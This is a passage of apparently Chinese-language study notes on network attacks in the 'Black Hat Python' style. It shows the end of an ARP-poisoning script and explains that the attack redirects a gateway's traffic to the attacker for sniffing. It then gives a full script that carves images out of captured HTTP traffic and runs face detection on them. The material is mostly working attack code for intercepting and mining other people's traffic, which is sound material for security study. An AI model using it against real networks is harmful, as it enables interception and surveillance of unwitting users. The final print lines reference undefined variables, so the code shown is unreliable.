time.sleep(2)
# restore the network
restore_target(tgt_gateway,
tgt_gateway_mac,
tgt_ip,
tgt_mac
)
sys.exit(0)
這裡是做arp汙染,把gateway的eth addr用成自己的 這樣就能上面的sniffer來看封包
手法是一直發假的arp這樣只要有機器吃到,就會把封包丟到這裡 但現在這個手法都行不通拉 都會被擋
還有一個是讀pcap來找出圖片,同時對圖片作人臉辨識 pic_carver.py
import cv2
from kamene.all import *
pictures_directory = "pic_carver/pictures"
faces_directory = "pic_carver/faces"
pcap_file = "bhp.pcap"
def face_detect(path, file_name):
img = cv2.imread(path)
cascade = cv2.CascadeClassifier("haarcascade_frontalface_alt.xml")
rects = cascade.detectMultiScale(img, 1.3, 4,
cv2.CASCADE_SCALE_IMAGE, (20, 20)
)
if len(rects) == 0:
return False
rects[:, 2:] += rects[:, :2]
# highlight the faces in the image
for x1, y1, x2, y2 in rects:
cv2.rectangle(img, (x1, y1), (x2, y2), (127, 255, 0), 2)
cv2.imwrite("%s/%s-%s" % (faces_directory, pcap_file, file_name), img)
return True
def get_http_headers(http_payload):
try:
# split the headers off if it is HTTP traffic
headers_raw = http_payload[:http_payload.index("\r\n\r\n") + 2]
# break out the headers
headers = dict(
re.findall(r"(?P<name>.*?): (?P<value>.*?)\r\n", headers_raw))
except:
return None
if "Content-Type" not in headers:
return None
return headers
def extract_image(headers, http_payload):
image = None
image_type = None
try:
if "image" in headers['Content-Type']:
# grab the image type and image body
image_type = headers['Content-Type'].split("/")[1]
image = http_payload[http_payload.index("\r\n\r\n") + 4:]
# if we detect compression decompress the image
try:
if "Content-Encoding" in list(headers.keys()):
if headers['Content-Encoding'] == "gzip":
image = zlib.decompress(image, 16 + zlib.MAX_WBITS)
elif headers['Content-Encoding'] == "deflate":
image = zlib.decompress(image)
except:
pass
except:
return None, None
return image, image_type
def http_assembler(pcap_fl):
carved_images = 0
faces_detected = 0
a = rdpcap(pcap_fl)
sessions = a.sessions()
for session in sessions:
http_payload = ""
for packet in sessions[session]:
try:
if packet[TCP].dport == 80 or packet[TCP].sport == 80:
# reassemble the stream into a single buffer
http_payload += str(packet[TCP].payload)
except:
pass
headers = get_http_headers(http_payload)
if headers is None:
continue
image, image_type = extract_image(headers, http_payload)
if image is not None and image_type is not None:
# store the image
file_name = "%s-pic_carver_%d.%s" % (
pcap_fl, carved_images, image_type)
fd = open("%s/%s" % (pictures_directory, file_name), "wb")
fd.write(image)
fd.close()
carved_images += 1
# now attempt face detection
try:
result = face_detect("%s/%s" % (pictures_directory, file_name),
file_name)
if result is True:
faces_detected += 1
except:
pass
return carved_images, faces_detected
carved_img, faces_dtct = http_assembler(pcap_file)
print("Extracted: %d images" % carved_images)
print("Detected: %d faces" % faces_detected)
整個流程是
- 把封包導向自己 (arper.py)
- sniff出需要的封包,存成pcap (mail_sniffer.py,雖然沒有存成pcap的部分)
- 對pcap做分析(pic_carver.py)